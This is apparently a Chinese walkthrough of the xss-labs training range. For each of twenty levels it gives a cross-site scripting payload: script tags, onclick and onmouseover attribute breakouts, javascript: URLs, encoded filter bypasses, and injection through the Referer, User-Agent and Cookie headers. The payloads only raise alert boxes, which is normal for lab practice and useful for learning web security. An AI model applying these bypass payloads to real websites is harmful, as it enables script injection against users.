每一关的方法不唯一;可以结合源码进行分析后构造payload;
通关技巧(四步):
1.输入内容看源码变化;
2.找到内容插入点;
3.测试是否有过滤;
4.构造payload绕过
第一关
构造payload:name=<script>alert()</script>
第二关
构造payload:" οnclick=alert() "
第三关
构造payload:' οnclick=alert() '
第四关
构造payload:" οnclick=alert() "
第五关
构造payload:"><a href="javascript:alert()">123</a>//
第六关
构造payload:" Onclick=alert() "
第七关
构造payload:" oonnclick=alert() "
第八关
在url中构造payload:javascr%09ipt:alert()
也可以用html实体编码替换script中的一个字符来绕过(方法很多,不演示)
第九关
构造payload:javascript:alert('http://')
第十关
构造payload:t_sort=" οnclick=alert() type="
第十一关
通过bp抓包修改referer:" οnclick=alert() type="
第十二关
通过bp抓包修改User-Agent: " οnclick=alert() type="
第十三关
通过bp抓包修改Cookie: user=" οnclick=alert() type="
、
第十四关(坏了,直接略过)
iframe标签:规定一个内联框架用于显示外部引入网站的信息;引入网站内容会被嵌套进当前页面
通过查看源码发现利用了iframe标签;源码中没有任何注入点;那么注入点只能是引入的网站中;可以网站打不开;看了大佬的wp发现是向引入的网站上传一张带有xss恶意代码的图片;通过加载是的图片嵌入到本地触发弹窗(exchangeable image file format)exif xss
大佬的wp:xss-labs靶场-第十四关
第十五关
构造payload:src="level1.php?name=</h2><h2 οnclick=alert()>123"
第十六关
构造payload:keyword=<input%0Aοnclick=alert()>
对空格进行实体编码了,需要空格绕过
第十七关(看了大佬的wp)
查看源码发现对输入信息进行了预定义字符转换;但是输出的语句中有漏洞点
构造payload:arg01=a&arg02=%20οnmοuseοver=alert(123)%20type=text%20
然后鼠标移到不支持此插件的图片上方就通过了(edge可以显示此图片;火狐图片也没法加载)
第十八关
源码中验证和输出和第十七关一样
直接构造payload:arg01=a&arg02=%20οnmοuseοver=alert(123)%20type=text%20
第十九关
这关就不能投机取巧了;真的考察flash的xss漏洞了;由于浏览器不支持flash;看不到提示的关键信息;所以就略过了;现在flash基本遇不到了,就不深究了
payload:?arg01=version&arg02=<a href="javascript:alert()">here</a>
推荐大佬的wp:XSS-labs Level 19 Flash XSS_xsf03.swf-CSDN博客
第二十关
同上
payload:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
推荐大佬的wp:XSS-labs Level 20 Flash XSS_xss-labs level20-CSDN博客
10